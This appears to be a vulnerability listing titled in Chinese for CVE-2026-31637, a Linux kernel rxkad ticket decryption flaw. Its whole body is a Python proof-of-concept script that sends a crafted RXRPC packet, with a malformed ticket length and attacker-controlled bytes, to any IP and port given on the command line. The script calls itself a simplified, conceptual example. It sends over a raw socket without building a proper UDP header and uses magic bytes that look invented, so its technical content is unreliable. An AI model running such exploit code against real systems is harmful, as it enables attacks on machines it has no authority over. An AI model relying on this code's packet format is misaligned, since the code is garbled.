CVE-2026-31637 Linux内核rxkad票据解密校验缺失漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-31637: rxkad ticket decryption bypass # This script attempts to send a malformed RXRPC packet to trigger the vulnerability. # Note: Target must be running a vulnerable Linux Kernel version. import socket import struct def send_malformed_rxrpc(target_ip, target_port): """ Sends a crafted RXRPC packet with non-block-aligned ticket length to trigger the parsing of attacker-controlled bytes. """ try: # Create a raw socket (requires root privileges) # Protocol number for RXRPC might vary, this is a conceptual example sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) # Construct a malformed packet header (Simplified structure) # Real RXRPC structure is complex, this focuses on the concept # of sending invalid length data. packet_magic = b"\x52\x58\x00\x00" # RXRPC magic bytes malformed_ticket_len = struct.pack('!I', 0x13) # Non-block-aligned length payload = packet_magic + malformed_ticket_len + b"A" * 100 # Attacker controlled bytes print(f"[*] Sending malformed packet to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 3: print("Usage: python3 poc.py <target_ip> <target_port>") else: send_malformed_rxrpc(sys.argv[1], int(sys.argv[2]))